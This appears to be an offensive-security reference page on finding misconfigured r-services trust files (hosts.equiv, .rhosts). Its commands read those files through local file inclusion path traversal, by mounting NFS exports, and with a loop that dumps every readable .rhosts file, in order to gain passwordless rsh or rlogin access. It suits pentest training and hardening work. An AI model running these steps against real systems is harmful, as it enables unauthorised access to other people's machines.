# R-Services Trust Misconfiguration

- **URL:** https://hackindex.io/services/r-services/vulnerability-discovery/r-services-trust-misconfiguration
- **Path:** r-services > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/r-services/vulnerability-discovery.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

## R-Services Trust Misconfiguration

R-services trust is controlled by two files: `/etc/hosts.equiv` applies system-wide trust for all users, and `~/.rhosts` applies per-user trust. A wildcard or overly broad entry in either file grants passwordless remote access to any matching host or user. Finding these files readable (typically via another access vector like NFS, LFI, or SSH) reveals the full trust map and explains why rsh or rlogin succeeds without credentials.

- hosts.equiv: System-Wide Trust
- .rhosts: Per-User Trust
- Read .rhosts via NFS
- Trust File Syntax Reference

## hosts.equiv: System-Wide Trust

If you have read access to the target filesystem via NFS, LFI, or an existing shell, check the system-wide trust configuration first:

```bash
cat /etc/hosts.equiv
# + +
# 10.10.10.0/24
# trustedhost.company.com
```

`+ +` is the most dangerous possible entry: it means any host, any user, is trusted to connect without a password. This is unauthenticated remote access for every account on the system. A CIDR block means any host in that subnet is trusted. A single hostname trusts all users on that specific host.

Read hosts.equiv via LFI when direct filesystem access is not available:

```bash
curl -sk "http://$TARGET_IP/index.php?page=../../etc/hosts.equiv"
# + +
```

## .rhosts: Per-User Trust

Individual users can define their own trust in ~/.rhosts. The root .rhosts is the highest value target: it grants passwordless root access:

```bash
cat /root/.rhosts
# + +
```

```bash
# Check all home directories for .rhosts files
find /home /root -name '.rhosts' -readable 2>/dev/null | while read f; do echo "=== $f ==="; cat "$f"; done
# === /root/.rhosts ===
# + +
# === /home/alice/.rhosts ===
# 10.10.14.5 alice
```

alice's .rhosts trusting a specific IP and username means only connections from 10.10.14.5 as user alice are trusted for that account. Check whether your Kali IP matches: if it does, rlogin as alice works without a password from your position.

## Read .rhosts via NFS

When NFS exports home directories, .rhosts files are often readable without any shell access:

```bash
showmount -e $TARGET_IP
# /home *
# /root *
```

```bash
mkdir /tmp/nfs_home && mount -t nfs $TARGET_IP:/home /tmp/nfs_home -o nolock
find /tmp/nfs_home -name '.rhosts' 2>/dev/null | xargs cat
# + +
```

## Trust File Syntax Reference

| Entry | Effect |
| --- | --- |
| + + | Any host, any user trusted: fully open |
| hostname | All users on that host trusted |
| hostname username | Specific user on specific host trusted |
| + username | That username trusted from any host |
| -hostname | Explicit deny for that host |

## References

- [hosts.equiv(5) manual](https://man7.org/linux/man-pages/man5/hosts.equiv.5.html) - Trust file format and syntax for system-wide and per-user configuration